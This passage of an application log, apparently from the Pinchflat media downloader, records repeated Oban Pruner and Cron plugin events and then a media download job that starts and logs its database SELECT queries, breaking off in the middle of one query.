{"source":"oban","duration":4257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.315 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:39:14.986 [info] {"source":"oban","duration":2432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:44.990 [info] {"source":"oban","duration":2180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.318 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:40:14.996 [info] {"source":"oban","duration":2907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:45.000 [info] {"source":"oban","duration":2627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.321 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:41:15.013 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:45.021 [info] {"source":"oban","duration":2533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.329 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:15.026 [info] {"source":"oban","duration":3262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:45.031 [info] {"source":"oban","duration":2478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.332 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:15.034 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:45.040 [info] {"source":"oban","duration":2194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.335 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:15.052 [info] {"source":"oban","duration":2808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:45.062 [info] {"source":"oban","duration":2519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.338 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:15.067 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:45.075 [info] {"source":"oban","duration":2338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.340 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:15.089 [info] {"source":"oban","duration":3962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:45.096 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.344 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:15.102 [info] {"source":"oban","duration":2532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:45.110 [info] {"source":"oban","duration":2303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.350 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:15.115 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:45.119 [info] {"source":"oban","duration":1782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.352 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:15.124 [info] {"source":"oban","duration":2649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:45.131 [info] {"source":"oban","duration":5202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.356 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:15.137 [info] {"source":"oban","duration":3670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:45.143 [info] {"source":"oban","duration":2928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.360 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:15.152 [info] {"source":"oban","duration":2937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:45.156 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.365 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:15.160 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:45.165 [info] {"source":"oban","duration":2781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.367 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:15.169 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:45.172 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.369 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:15.184 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:45.190 [info] {"source":"oban","duration":2252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.373 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:15.194 [info] {"source":"oban","duration":2044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:45.198 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.375 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:15.201 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:45.204 [info] {"source":"oban","duration":1863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.378 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:15.208 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:45.215 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.383 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:15.218 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:45.222 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.396 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:15.225 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:45.239 [info] {"source":"oban","duration":2507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.405 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:15.247 [info] {"source":"oban","duration":2681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:45.252 [info] {"source":"oban","duration":1969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.409 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:15.256 [info] {"source":"oban","duration":1836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:45.262 [info] {"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.412 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:15.270 [info] {"source":"oban","duration":2705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:45.274 [info] {"source":"oban","duration":2204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.423 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:15.276 [info] {"source":"oban","duration":1947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:45.288 [info] {"source":"oban","duration":1829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.431 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:15.291 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:45.304 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.440 [info] {"source":"oban","duration":3158,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:15.311 [info] {"source":"oban","duration":3245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:45.315 [info] {"source":"oban","duration":2383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.454 [info] {"source":"oban","duration":3179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:15.320 [info] {"source":"oban","duration":2463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:45.324 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.459 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:15.332 [info] {"source":"oban","duration":3907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:45.339 [info] {"source":"oban","duration":2659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.461 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:15.343 [info] {"source":"oban","duration":2237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:45.347 [info] {"source":"oban","duration":2815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.465 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:15.351 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:45.361 [info] {"source":"oban","duration":2140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.469 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:15.366 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:45.370 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.475 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:15.380 [info] {"source":"oban","duration":2498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:45.384 [info] {"source":"oban","duration":2416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.483 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:15.389 [info] {"source":"oban","duration":2341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:45.395 [info] {"source":"oban","duration":2422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.486 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:15.406 [info] {"source":"oban","duration":2731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:45.417 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.489 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:15.420 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:45.424 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.492 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:15.427 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:45.435 [info] {"source":"oban","duration":2464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.495 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:15.438 [info] {"source":"oban","duration":2256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:45.442 [info] {"source":"oban","duration":2425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.499 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:15.446 [info] {"source":"oban","duration":2549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:45.452 [info] {"source":"oban","duration":2385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.503 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:15.454 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:45.461 [info] {"source":"oban","duration":2573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.505 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:15.466 [info] {"source":"oban","duration":2427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:45.477 [info] {"source":"oban","duration":2274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.510 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:15.482 [info] {"source":"oban","duration":3330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:45.486 [info] {"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.513 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:15.495 [info] {"source":"oban","duration":2520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:45.499 [info] {"source":"oban","duration":2157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.518 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:15.503 [info] {"source":"oban","duration":2443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:45.507 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.522 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:15.510 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:45.514 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.525 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:15.517 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:45.522 [info] {"source":"oban","duration":2221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.526 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:15.527 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:45.534 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.528 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:15.541 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:45.544 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.532 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:15.547 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:45.554 [info] {"source":"oban","duration":2329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.535 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:15.558 [info] {"source":"oban","duration":2848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:45.563 [info] {"source":"oban","duration":3032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.538 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:15.572 [info] {"source":"oban","duration":2539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:45.578 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.548 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:15.583 [info] {"source":"oban","duration":2751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:45.590 [info] {"source":"oban","duration":3068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.551 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:15.595 [info] {"source":"oban","duration":2853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:45.598 [info] {"source":"oban","duration":2025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.553 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:15.607 [info] {"source":"oban","duration":2643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:45.612 [info] {"source":"oban","duration":3268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.555 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:15.623 [info] {"source":"oban","duration":2975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:45.631 [info] {"source":"oban","duration":2965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.558 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:15.635 [info] {"source":"oban","duration":2981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:45.640 [info] {"source":"oban","duration":3055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.563 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:15.648 [info] {"source":"oban","duration":2862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:45.658 [info] {"source":"oban","duration":2257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.568 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:15.662 [info] {"source":"oban","duration":3070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:45.669 [info] {"source":"oban","duration":3300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.570 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:15.675 [info] {"source":"oban","duration":2678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:45.681 [info] {"source":"oban","duration":3085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.572 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:15.685 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:45.693 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.574 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:15.699 [info] {"source":"oban","duration":2757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:45.703 [info] {"source":"oban","duration":2568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.578 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:15.708 [info] {"source":"oban","duration":2580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:45.714 [info] {"source":"oban","duration":2187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.582 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:15.724 [info] {"source":"oban","duration":2871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:45.727 [info] {"source":"oban","duration":1917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.584 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:15.731 [info] {"source":"oban","duration":2148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:45.737 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.587 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:15.742 [info] {"source":"oban","duration":2596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:45.747 [info] {"source":"oban","duration":2387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.590 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:15.752 [info] {"source":"oban","duration":2400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:45.755 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.593 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:15.760 [info] {"source":"oban","duration":2134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:29.770 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788414329769233015,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 15:45:29.782 [debug] QUERY OK source="media_items" db=1.9ms idle=549.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 15:45:29.783 [info] User scripts lifecyle file either not present or is empty. Skipping. 15:45:29.784 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=562.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 15:45:29.786 [debug] QUERY OK source="media_profiles" db=0.9ms idle=563.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 15:45:29.787 [debug] QUERY OK source="media_items" db=0.4ms idle=24.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 15:45:29.790 [debug] QUERY OK source="media_metadata" db=1.0ms idle=20.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 15:45:29.791 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=18.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 15:45:29.794 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", 